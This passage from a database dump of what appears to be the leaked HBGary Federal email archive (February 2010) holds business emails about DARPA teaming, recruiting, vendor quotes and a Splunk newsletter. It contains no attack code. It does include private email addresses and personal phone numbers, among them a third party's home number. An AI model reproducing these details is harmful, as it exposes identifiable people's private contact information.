until\r\naround\r\n> noon.\r\n> \r\n> billt\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, February 22, 2010 4:30 PM\r\n> To: Masterson, Brian (Xetron); Thompson, Bill (Xetron)\r\n> Subject: Good Input\r\n> \r\n> I was at the DARPA cyber genome proposers day and had 15 minutes with\r\n> Van Putte.  He was interested in our Threat Intelligence Center\r\nconcept\r\n> but said it sounded to evolutionary for funding as it is.  But a few\r\n> government folks that represented the \"end customers\" stopped us later\r\n> and told us that what we were developing was exactly what was needed\r\nand\r\n> that no one is approaching it this way.  Good input.\r\n> \r\n> Brian call me when you get a chance.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16801,'aaron_hbgary_com/16801.html'),(2923,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001389.M547183P3547Q2923.eml','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','Re: Good Input','trying haven\'t heard back yet.  I will let you know.\r\n\r\nAaron\r\n\r\nOn Feb 22, 2010, at 4:41 PM, Thompson, Bill (Xetron) wrote:\r\n\r\n> I thought we were going to LM and you were getting an appt with Jim Racz\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, February 22, 2010 4:40 PM\r\n> To: Thompson, Bill (Xetron)\r\n> Subject: Re: Good Input\r\n> \r\n> ok lets shoot for it then.  Earlier the better for me.  So this is to LM\r\n> or customer?  Where would we do it?\r\n> Aaron\r\n> \r\n> On Feb 22, 2010, at 4:33 PM, Thompson, Bill (Xetron) wrote:\r\n> \r\n>> Nice.  Aaron,  Matt tells me that the best day for UNO is Wed.  That\r\n> is\r\n>> when they allow capabilities pitches.  I will be available until\r\n> around\r\n>> noon.\r\n>> \r\n>> billt\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, February 22, 2010 4:30 PM\r\n>> To: Masterson, Brian (Xetron); Thompson, Bill (Xetron)\r\n>> Subject: Good Input\r\n>> \r\n>> I was at the DARPA cyber genome proposers day and had 15 minutes with\r\n>> Van Putte.  He was interested in our Threat Intelligence Center\r\n> concept\r\n>> but said it sounded to evolutionary for funding as it is.  But a few\r\n>> government folks that represented the \"end customers\" stopped us later\r\n>> and told us that what we were developing was exactly what was needed\r\n> and\r\n>> that no one is approaching it this way.  Good input.\r\n>> \r\n>> Brian call me when you get a chance.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14827,'aaron_hbgary_com/14827.html'),(2924,'2010-02-22','\"Thompson, Bill (Xetron)\" <Bill.Thompson2@ngc.com>','/aaron@hbgary.com/new/1297001389.M740225P3547Q2924.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Good Input','Cool\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, February 22, 2010 4:42 PM\r\nTo: Thompson, Bill (Xetron)\r\nSubject: Re: Good Input\r\n\r\ntrying haven\'t heard back yet.  I will let you know.\r\n\r\nAaron\r\n\r\nOn Feb 22, 2010, at 4:41 PM, Thompson, Bill (Xetron) wrote:\r\n\r\n> I thought we were going to LM and you were getting an appt with Jim\r\nRacz\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, February 22, 2010 4:40 PM\r\n> To: Thompson, Bill (Xetron)\r\n> Subject: Re: Good Input\r\n> \r\n> ok lets shoot for it then.  Earlier the better for me.  So this is to\r\nLM\r\n> or customer?  Where would we do it?\r\n> Aaron\r\n> \r\n> On Feb 22, 2010, at 4:33 PM, Thompson, Bill (Xetron) wrote:\r\n> \r\n>> Nice.  Aaron,  Matt tells me that the best day for UNO is Wed.  That\r\n> is\r\n>> when they allow capabilities pitches.  I will be available until\r\n> around\r\n>> noon.\r\n>> \r\n>> billt\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, February 22, 2010 4:30 PM\r\n>> To: Masterson, Brian (Xetron); Thompson, Bill (Xetron)\r\n>> Subject: Good Input\r\n>> \r\n>> I was at the DARPA cyber genome proposers day and had 15 minutes with\r\n>> Van Putte.  He was interested in our Threat Intelligence Center\r\n> concept\r\n>> but said it sounded to evolutionary for funding as it is.  But a few\r\n>> government folks that represented the \"end customers\" stopped us\r\nlater\r\n>> and told us that what we were developing was exactly what was needed\r\n> and\r\n>> that no one is approaching it this way.  Good input.\r\n>> \r\n>> Brian call me when you get a chance.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5616,'aaron_hbgary_com/5616.html'),(2925,'2010-02-22','\"Pisani, Albert A.\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297001389.M984415P3547Q2925.eml','aaron@hbgary.com,aaron@hbgary.com','Re: COIN','\r\n\r\n\r\n\r\n\r\nRe: COIN\r\n\r\n\r\n\r\n\r\nAaron:\r\nWe need to work to make this happen for all of us. This will be fun.\r\n\r\nAl\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Pisani, Albert A.\r\nSent: Mon Feb 22 14:02:16 2010\r\nSubject: COIN\r\n\r\nAl,\r\n\r\nThanks for the call on Friday.&nbsp; Definitely interested to talk about this effort.&nbsp; For better or worse I kind of consider it my baby.&nbsp; And any help you could bring on the clearance side I would be extremely grateful.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7303,'aaron_hbgary_com/7303.html'),(2926,'2010-02-22','\"Godfrey Sullivan\" <Godfrey_Sullivan@splunk.com>','/aaron@hbgary.com/new/1297001390.M247042P3547Q2926.eml','aaron@hbgary.com','SplunkVox: Announcing Splunk\'s First Users\' Conference! Aug 9-11, San Francisco','\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n**************************\r\n\r\nSplunkVox\r\nFebruary 2010\r\n\r\n**************************\r\n\r\nWelcome to 2010--the year of the Splunk community!\r\n\r\n2009 was the year of Splunk 4.0. We focused on building a product that delivered the scalability, speed and management features you needed to take your IT Operations, security and compliance, and application management to the next level. We also focused on usability, with custom views and dashboards, to support the broadening user base of Splunk. Now that 4.0 has launched, we’re continuing to innovate—stay tuned.\r\n\r\nThis year we are launching several Splunk community initiatives to empower our users and fuel further innovation.\r\n\r\nFirst, I am very pleased to announce Splunk\'s First Worldwide Users\' Conference. We hope to see you August 9-11 here in San Francisco.\r\nWe\'ll highlight industry trends, best practices from Splunk engineers, in-depth case studies presented by users, and host live problem solving sessions with our own Splunk gurus. For additional information:\r\nhttp://www.splunk.com/view/SP-CAAAFCW\r\n\r\nAnd also due to popular demand, we\'re re-launching Splunkbase. Splunkbase is your go-to site for Splunk apps and add-ons. Check out the apps already posted, download the ones you want or build and post your own. It\'s live now at: http://www.splunkbase.com. \r\n\r\n\r\nAnd finally our SplunkLive and event participation continues around the world--look to our website for an event scheduled near you.\r\n\r\nSplunk users are truly one of a kind, as I travel the world talking to them I am consistently impressed with their accomplishments,\r\ncreativity and passion. I personally hope to see each of you at the Users\' Conference in August. If you have a Splunk use case you would like to share with the community please let us know:\r\nhttp://www.splunk.com/goto/userconference_open_call\r\n\r\nand best wishes for a great 2010.\r\n\r\nThanks and Happy Splunking,\r\n\r\nGodfrey Sullivan\r\nPresident and CEO\r\nSplunk\r\n\r\n****************************************************\r\n\r\nSAVE THE DATE:\r\nSplunk\'s First Annual Worldwide Users\' Conference\r\nAugust 9-11, 2009\r\nThe Sheraton Palace Hotel\r\nSan Francisco, CA\r\n\r\nWe think it\'s high-time to bring all of our wicked-smart customers together in one place to share best practices for using Splunk across operations, security, compliance and application management teams.\r\n\r\nCheck out 40 sessions across 5 tracks. We\'ll present our product roadmap, host birds-of-a-feather sessions, and answer your\r\nquestions--live--in the solutions center. Meet your favorite Splunk developers, solutions architects, product managers and support\r\nengineers, and come away with solid plans to power up your Splunk deployment. The registration website is coming soon, but see more details here: http://www.splunk.com/view/SP-CAAAFCW\r\n\r\nAre you already a Splunk power user? Great! We\'d love for you to share your success story or an interesting use case. Let us know in our Call for Papers:\r\nhttp://www.splunk.com/goto/userconference_open_call\r\n\r\n&nbsp;\r\n****************************************************\r\n\r\nSplunkLive! Coming to a City Near You\r\n\r\nCheck out Splunk with the pros. Get the inside scoop from our cutting-edge customers and Tech gurus:\r\n\r\nVienna, Austria. February 25: Telecom Austria and ÖBB present.\r\nRegister now: http://www.splunk.com/goto/SplunkLive_Vienna_Feb10\r\n\r\nMunich, Germany. March 8: Swisscom and Accenture present.\r\nRegister now:\r\nhttp://www.splunk.com/goto/SplunkLive_Munich_March10?ac=SplunkLive_Munich_March10\r\n\r\nOrlando, FL. March 10: Voxeo and Coleman Technologies present. \r\n\r\nRegister now: http://www.splunk.com/goto/SplunkLive_Orlando_March10\r\n\r\n(If you\'re attending SANS, why not double dip and join us for SplunkLive as well?)\r\n\r\nAtlanta, GA. March 11: Cox Communications and The Atlanta\r\nJournal-Constitution present\r\nRegister now: http://www.splunk.com/goto/SplunkLive_Atlanta_March10\r\n\r\nRead about previous SplunkLive events here:\r\nhttp://blogs.splunk.com/author/thebaum/ \r\nand here:\r\nhttp://blogs.splunk.com/author/steve/\r\n\r\nNo SplunkLive events in a city near you, but you\'d still like to get together with other users? No problem. Drop me a line: erin@splunk.com and we\'ll work to match you up with other users in your area.\r\n\r\n****************************************************\r\n\r\nForrester Webcast: SIM Overview and Market Drivers ?\r\nSpeaker Information:\r\nJohn Kindervag, Senior Analyst at Forrester\r\nMark Seward, Director of Marketing for Security and Compliance\r\nSolutions at Splunk Based on user surveys and first-hand inquiries, Forrester Security and Compliance Analyst John Kindervag provides an overview of what issues are driving SIM adoption and some of the key capabilities end users\r\nshould look for when evaluating a SIM solution. Mark will then highlight the ways Splunk customers are approaching Security and Compliance to be more flexible and proactive than traditional SIM and Log Management approaches often allow.\r\n\r\nWatch it now: http://www.splunk.com/goto/Forrester_Webcast_SIM\r\n\r\n****************************************************\r\n\r\nSplunkbase is back!\r\n\r\nSplunkbase is your place to browse, post, download and share Splunk apps, add-ons and feedback.\r\n\r\nHelp your fellow Splunk users build more apps that will leverage Splunk 4.0. Browse and dowload through the Splunk product itself or login with your Splunk account to check it out at\r\nhttp://www.splunkbase.com\r\n\r\n****************************************************Splunk Events\r\n\r\nSee us at these upcoming shows and use the discount codes to save a buck or two!\r\n\r\nRSA: March 1-5, Moscone Convention Center, SF, CA, booth #2544\r\nGet an expo discount with this code: EC10SPL Register by Feb 26 here:\r\nhttp://bit.ly/a1LtVH\r\n\r\nSANS: March 9, Walt Disney World Dolphin, Orlando, FL\r\nhttp://www.sans.org/sans-2010/\r\nIf you\'re in Orlando for SANS, come join us for SplunkLive on March\r\n10: http://www.splunk.com/goto/SplunkLive_Orlando_March10\r\n\r\nData Connectors Des Moines: March 11, Embassy Suites On the River, Des\r\nMoines, IA\r\nhttp://www.dataconnectors.com/events/2010/03DesMoines/agenda.asp\r\n\r\nFOSE: March 23-25, 2010, Walter E Washington Convention Center,\r\nWashington, DC, booth #3022\r\nGet a free pass with this code: VEN0253. Register here:\r\nhttp://bit.ly/9aiYoT\r\n\r\nData Connectors Detroit: March 25, Embassy Suites Detroit, Southfield,\r\nMI\r\nhttp://www.dataconnectors.com/events/2010/03Detroit/agenda.asp\r\n\r\nAFCEA Belvoir Industry Days 2010: March 30 – 31, Gaylord National\r\nHotel & Conference Center, National Harbor, MD\r\nhttp://www.afceabelvoir.org/industryday.aspx\r\n\r\nFor a full event listing see:\r\nhttp://www.splunk.com/page/events\r\n\r\n****************************************************\r\n\r\nValidated by the SANS Institute to address security \"Top 20 Critical Controls\"\r\n\r\nSplunk was named as an approved solution to meet Critical Control 6: Maintenance, Monitoring, and Analysis of Audit Logs. Read more here:\r\n\r\nhttp://www.sans.org/critical-security-controls/control.php?id=6\r\n\r\n**************************************************** \r\n\r\n\r\nFeel the need...the need for speed?\r\n\r\nYou want to upgrade to Splunk 4 now? We\'re here to help. Splunk\'s got 3 and 5 day service packages to transfer all the good work you\'ve done on Splunk 3.x to Splunk 4. Let us know how we can help:\r\nsales@splunk.com\r\nhttp://www.splunk.com/view/SP-CAAABH9?ac=news_07_09\r\n\r\n****************************************************\r\n\r\nSplunk in the News ...\r\n\r\n* O\'Reilly Radar, Ben Lorica: Pipelining and Real-time Analytics with MapReduce Online: http://bit.ly/1qGo3S\r\n* Ventana Research, Mark Smith: Splunk Expands IT Search into Information Applications: http://bit.ly/cJucGz\r\n* Secure Channel, Larry Walsh: Splunk Disrupts Security Log Auditing: http://bit.ly/cTtokM\r\n* Enterprise Systems, James Powell: Lessons from 2009: Advice for IT and Vendors: http://bit.ly/b4uVxe\r\n* CTO Edge, Mike Vizard: IT Accidents Waiting to Happen: http://bit.ly/9nv1vB\r\n* TechRepublic, Jack Wallen: Product Spotlight: Splunk IT data analysis application: http://bit.ly/bAdprx\r\n\r\n****************************************************\r\n\r\nSplunk had a killer fourth quarter and year--just a few highlights below:\r\n\r\nFor the quarter:\r\n\r\n* Best quarter in company history, with 250 new customers\r\n* Added 23 new government agencies - bringing the total count to 183\r\n* Added 8 new education customers - bringing the total count to 125\r\n* \"2009 Editor\'s Best Award\" Best Interoperability Product, Windows IT Pro® magazine\r\n* \"Top 20 Critical Controls\" Validation from SANS Institute\r\n\r\nFor 2009:\r\n\r\n* Year-over-year bookings growth of 125%\r\n* 650 new customers in 2009, with a total customer count exceeding 1600\r\n* Released Splunk 4.0: re-architected for enterprise performance, scale and usability\r\n* Named one of the \"Best Places to Work\" by the San Francisco Business Times\r\n* Achieved profitability in Q3 and Q4, ahead of projections\r\n* Industry recognition including: Best of Interop (Japan); Systems Management Product of the Year (Search Data Center TechTarget); Winner Best Integrated Security Solution and Top-rated review by SC Magazine\r\n* Added 7 strategic partners: GlassHouse; VMware; Forsythe; NTT Data, Macnica Networks and CTC Itochu in Japan; and Blue Coat Systems\r\n* 40 customers in the Fortune 100; 96 customers in the Fortune 500\r\n\r\n&nbsp;\r\nRead the release: http://bit.ly/aXSKRX\r\n\r\n****************************************************\r\n\r\nGoing Social\r\n\r\nAs a proxy for live User Groups, we’re eager to help you connect or swap best practices via social networks. Links to Splunk across the social web are here:\r\n\r\nFacebook:\r\nhttp://www.facebook.com/home.php#/pages/San-Francisco-CA/Splunk/5777172751?ref=ts\r\n\r\nLinkedIn:\r\nhttp://www.linkedin.com/groups?gid=1913714&trk=hb_side_g\r\nTwitter:\r\nhttps://twitter.com/splunk\r\nYouTube videos:\r\nhttp://www.youtube.com/user/splunkvideos\r\n\r\nPlus check out new videos from T-Mobile, Avelle and Washington State University here: http://www.splunk.com/view/SP-CAAAE93\r\n\r\nAnd don’t forget about the IRC channel. Launch your IRC client and join the channel. #splunk on efnet (http://www.efnet.org/).\r\n\r\nAre we missing any critical sites? Any feature videos you\'d like to see? Let us know: marketing@splunk.com\r\n\r\n****************************************************\r\n\r\nAre you doing something cool with Splunk?\r\n\r\nHave you built dashboards to look at stock trade data? Visualized earthquake data? Analyzed patterns of electricity generation from\r\nwindmills?\r\n\r\nYou can apply Splunk to any time-series, text-based data—all you need is a web browser and your imagination. So what interesting things are you doing with Splunk?\r\n\r\nTell us. Then tell the world--teach a session at our upcoming Users\' Conference (you\'ll get half-off the cost of the conference). Hit me at\r\nerin@splunk.com or fill out the call for papers here:\r\n\r\nhttp://www.splunk.com/goto/userconference_open_call\r\n\r\n****************************************************\r\n\r\n\r\n\r\n\r\n\r\nTo unsubscribe from future emails or to update your e-mail preferences click here. Splunk, Inc. | 250 Brannan St. | San Francisco, CA 94107\r\n\r\n\r\n',100,'aaron_hbgary_com/100.html'),(2927,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001390.M435153P3547Q2927.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Teaming DARPA','Hi Chris,\r\n\r\nI am sitting on some of the information that Van Putte gave us.  I am worried about the teaming.  He also put an emphasis on small businesses today.  Of any of the areas the one we are most capable of priming is 3, and based on the information presented to today I think it would be best if we primed 3.  This causes some obvious burdens on a small business I realize but I think it is the best approach.  HBGary definitely wants to win 3 and I think a GD prime on two props is going to lessen our chances of winning both.  Thoughts?\r\n\r\nI will talk with Northrop this evening on their thoughts on teaming on 1.  Thats 2 big contractors, so I am sensitive to what your thoughts on that are.  Their information geometry technology does have some direct benefit to the effort.\r\n\r\nHow have your conversations gone with Sparta?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8904,'aaron_hbgary_com/8904.html'),(2928,'2010-02-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001390.M902180P3547Q2928.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Brian Capellini','---------- Forwarded message ----------\r\nFrom: Williams, Joy T (IS) \r\nDate: Mon, Feb 22, 2010 at 3:03 PM\r\nSubject: RE: Brian Capellini\r\nTo: Ted Vera \r\n\r\n\r\nHey!\r\n\r\nThis is what I have on the flip card...I don\'t know if it is still good\r\nor not.\r\n719-302-6142 home phone....let me know if that doesn\'t work and I will\r\nask Clint or somebody for it.\r\n\r\n\r\nJoy T Williams\r\nNorthrop Grumman Information Systems\r\nNetCentric Information Operations\r\nDepartment Administrator\r\n1795 Jet Wing Drive, Suite 200\r\nColorado Springs, CO 80916\r\n719-622-5500\r\nFax:719-622-5101\r\nEfax: 978-684-3865\r\nEmail: joy.williams@ngc.com\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Monday, February 22, 2010 3:01 PM\r\nTo: Williams, Joy T (IS)\r\nSubject: Brian Capellini\r\n\r\nHi Joy,\r\n\r\nDo you still have Brian Capellini\'s home/cell number?  Can you send it\r\nto me?\r\n\r\nTed\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12596,'aaron_hbgary_com/12596.html'),(2929,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001391.M307212P3547Q2930.eml','\"Chris Hummel\" <chris_hummel@hotmail.com>','Re: Introductions','Sounds good.Can you call me at 719.510.8478 at 3pm?AaronFrom my iPhoneOn Feb 22, 2010, at 5:46 PM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\nAaron,\r\n \r\nI live north of Baltimore and work primarily out of my home office so our first conversation will need to be via the phone.  I actually ask this of everyone for the first meeting so we can both guage the level of interest.  Sorry for any confusion.\r\n\r\n \r\nThanks,\r\nChris \r\n\r\nFrom: aaron@hbgary.comSubject: Re: IntroductionsDate: Mon, 22 Feb 2010 15:46:35 -0500To: chris_hummel@hotmail.com\r\nWhere do you want to meet?  Is the Tysons area ok?  Is 3pm good?\r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 7:00 PM, Chris Hummel wrote:\r\n\r\nSounds good - I&#39;ll block off some time in the afternoon as the morning has already filled up. Thanks,Chris\r\n\r\nFrom: aaron@hbgary.comSubject: Re: IntroductionsDate: Wed, 17 Feb 2010 13:34:46 -0500To: chris_hummel@hotmail.com\r\nok lets shoot for Friday next week.\r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 6:59 AM, Chris Hummel wrote:\r\n\r\nHi Aaron, I don&#39;t work directly for Mark or Chris, but I do engage with various people in their organization.  I&#39;ll have some time either Monday morning to chat before flying out to the west coast, or Wednesday and thereafter once I return.  I look forward to talking to you as well.\r\n Thanks,Chris &gt; From: aaron@hbgary.com&gt; Subject: Introductions\r\n&gt; Date: Wed, 17 Feb 2010 00:41:31 -0500&gt; To: chris_hummel@hotmail.com\r\n&gt; &gt; Hi Chris,&gt; &gt; I was given your resume from our product side. Your name rings a bell and I am sure we have met before. Do you work for Mark Leary or Chris Barnett?\r\n&gt; &gt; I am interested to talk to you about your resume and positions we are going to be opening up in the next month. I am out of town for the next few days. Let me know what your schedule is like next week.\r\n&gt; &gt; Look forward to talking with you.&gt; &gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt; \r\n&gt; &gt; \r\n\r\nHotmail: Free, trusted and rich email service. Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Trusted email with powerful SPAM protection. Sign up now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n 		 	   		  Hotmail: Free, trusted and rich email service. Get it now.\r\n\r\n',13408,'aaron_hbgary_com/13408.html'),(2930,'2010-02-22','\"Chris Hummel\" <chris_hummel@hotmail.com>','/aaron@hbgary.com/new/1297001391.M83333P3547Q2929.eml','aaron@hbgary.com','RE: Introductions','\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\nI live north of Baltimore and work primarily out of my home office so our first conversation will need to be via the phone.&nbsp; I actually ask this of everyone for the first meeting so we can both guage the level of interest.&nbsp; Sorry for any confusion.\r\n&nbsp;\r\nThanks,\r\nChris&nbsp;\r\n\r\nFrom: aaron@hbgary.comSubject: Re: IntroductionsDate: Mon, 22 Feb 2010 15:46:35 -0500To: chris_hummel@hotmail.comWhere do you want to meet? &nbsp;Is the Tysons area ok? &nbsp;Is 3pm good?\r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 7:00 PM, Chris Hummel wrote:\r\n\r\nSounds good - I\'ll block off some time in the afternoon as the morning has already filled up.&nbsp;Thanks,Chris\r\n\r\nFrom:&nbsp;aaron@hbgary.comSubject: Re: IntroductionsDate: Wed, 17 Feb 2010 13:34:46 -0500To:&nbsp;chris_hummel@hotmail.comok lets shoot for Friday next week.\r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 6:59 AM, Chris Hummel wrote:\r\n\r\nHi Aaron,&nbsp;I don\'t work directly for Mark or Chris, but I do engage with various people in their organization.&nbsp; I\'ll have some time either Monday morning to chat before flying out to the west coast, or Wednesday and thereafter once I return.&nbsp; I look forward to talking to you as well.&nbsp;Thanks,Chris&nbsp;&gt; From:&nbsp;aaron@hbgary.com&gt; Subject: Introductions&gt; Date: Wed, 17 Feb 2010 00:41:31 -0500&gt; To:&nbsp;chris_hummel@hotmail.com&gt;&nbsp;&gt; Hi Chris,&gt;&nbsp;&gt; I was given your resume from our product side. Your name rings a bell and I am sure we have met before. Do you work for Mark Leary or Chris Barnett?&gt;&nbsp;&gt; I am interested to talk to you about your resume and positions we are going to be opening up in the next month. I am out of town for the next few days. Let me know what your schedule is like next week.&gt;&nbsp;&gt; Look forward to talking with you.&gt;&nbsp;&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt;&nbsp;&gt;&nbsp;&gt;&nbsp;\r\n\r\nHotmail: Free, trusted and rich email service.&nbsp;Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Trusted email with powerful SPAM protection.&nbsp;Sign up now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n 		 	   		  Hotmail: Free, trusted and rich email service. Get it now.\r\n',1069,'aaron_hbgary_com/1069.html'),(2931,'2010-02-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001393.M438318P3547Q2931.eml','\"Barr Aaron\" <aaron@hbgary.com>','What do you think','See attached quote.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',4583,'aaron_hbgary_com/4583.html'),(2932,'2010-02-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001394.M496113P3547Q2932.eml','\"Logel, Moira\" <Moira.Logel@macb.com>,\"Logel, Moira\" <Moira.Logel@macb.com>','Re:','Moira,\r\n\r\nAttached is the Guardian Program quote as requested, along with the\r\nannual supplier certification form.  Please do not hesitate to contact\r\nme if you have any questions.\r\n\r\nRegards,\r\nTed Vera\r\nOffice:  916-459-4727 ext 118\r\nCell:  719-237-8623\r\nted@hbgary.com\r\n\r\n\r\n\r\n\r\nOn Thu, Feb 18, 2010 at 8:15 AM, Logel, Moira  wrote:\r\n> Good morning, Ted.\r\n>\r\n>\r\n>\r\n> Please see the attached RFP for Guardian.  Feel free to contact me with any\r\n> questions you may have.\r\n>\r\n>\r\n>\r\n> Thank you.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Moira Logel\r\n>\r\n> Sr. Contracts Administrator\r\n>\r\n> MacAulay-Brown, Inc.\r\n>\r\n> Phone:  (937) 426-3421\r\n>\r\n> Fax:  (937) 426-5364\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12377,'aaron_hbgary_com/12377.html'),(2933,'2010-02-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001396.M717377P3547Q2933.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Reference ProPricer','---------- Forwarded message ----------\r\nFrom: Brian C Burmeister \r\nDate: Mon, Feb 22, 2010 at 2:59 PM\r\nSubject: Reference ProPricer\r\nTo: ted@hbgary.com\r\n\r\n\r\nGood Afternoon Ted,\r\n\r\nThank you for your time today. I believe you will find ProPricer to be\r\nan excellent solution for your pricing needs, it has constantly been\r\nimproved during the past 22 years by our customers at our Annual\r\nUser\'s Conference.  At the AUC, customers voice their opinions on how\r\nto enhance ProPricer and all attendees \"vote\" on the feature changes\r\nthey like the most, the changes that get the most votes move to the\r\ntop of the development list.  ProPricer represents the collective\r\nwisdom of all the top Federal Government contractors in the U.S. today\r\nfor the best approach to pricing a response to a government RFP.\r\n\r\nThe only prospects that do not move forward with a ProPricer purchase\r\nare the ones that try to force fit the ProPricer method around how\r\nthey currently operate.  They do not look at their present methods and\r\nask \"is this the best way to accomplish our pricing goals?\", instead,\r\nthey cling steadfastly to their present operating methods that a no\r\nCOST product can achieve.  They eventually decide to develop their own\r\nin-house tool only to discover after considerable cost and effort that\r\nthe mission was substantially more than they expected.  We frequently\r\nget return inquiries in these cases.\r\n\r\nWhat would be most useful to your group is a hands-on evaluation of\r\nProPricer.  We have a process to move this evaluation forward and it\r\nfollows a step by step plan that ensures we have a good fit at each\r\nstep before taking the next step.  That way, your investment in time\r\nand effort in investigating our product is minimized and we can stop\r\nat any point in the process where either of us feels the investigation\r\nwill not lead to a positive conclusion.\r\n\r\nI will follow up with you as agreed in 2 weeks, my Outlook card is\r\nattached to this message with all my contact data, if you would like\r\nto discuss ProPricer Evaluation sooner please call me.\r\n\r\n\r\nWarm Regards,\r\n\r\nBrian C Burmeister\r\nExecutive Business Services, Inc.\r\nProPricer \"Industry Proven\" pricing software\r\nbburmeister@propricer.com\r\nOffice: 704-367-3402\r\nFax: 704-367-2578\r\nMobile: 703-665-0443\r\n------------>8-------------------------------------------8<---------------------\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10671,'aaron_hbgary_com/10671.html'),(2934,'2010-02-22','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001396.M960134P3547Q2934.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Possibilities','Begin forwarded message:From: mark &lt;mark.trynor@gmail.com&gt;\r\nDate: February 22, 2010 4:52:29 PM MSTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Possibilities\r\nTalked to Kim and she thinks I shouldn&#39;t worry about the run way and doit because it interests me.  So when we have the telecon if I can helpand you still need me help, I&#39;m in.\r\n\r\n',12059,'aaron_hbgary_com/12059.html'),(2935,'2010-02-22','\"Jonathan George\" <jonathan.k.george@gmail.com>','/aaron@hbgary.com/new/1297001397.M146022P3547Q2935.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: iphone/ipod touch','I wrote one app for the iPhone. Just the virtual Rolex that I showed you. I had a few other ideas but they weren&#39;t high enough on my list of non-work projects. And my other ideas don&#39;t involve 30% profit sharing with Apple.\r\nOn Mon, Feb 22, 2010 at 4:03 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nJonathan,\r\n\r\nDo you have some iphone/ipod touch development experience.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',2367,'aaron_hbgary_com/2367.html'),(2936,'2010-02-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001397.M339072P3547Q2936.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: iphone/ipod touch','From my iPhoneBegin forwarded message:From: Jonathan George &lt;jonathan.k.george@gmail.com&gt;\r\nDate: February 22, 2010 6:57:10 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: iphone/ipod touchReply-To: jonathan.k.george@gmail.com\r\nI wrote one app for the 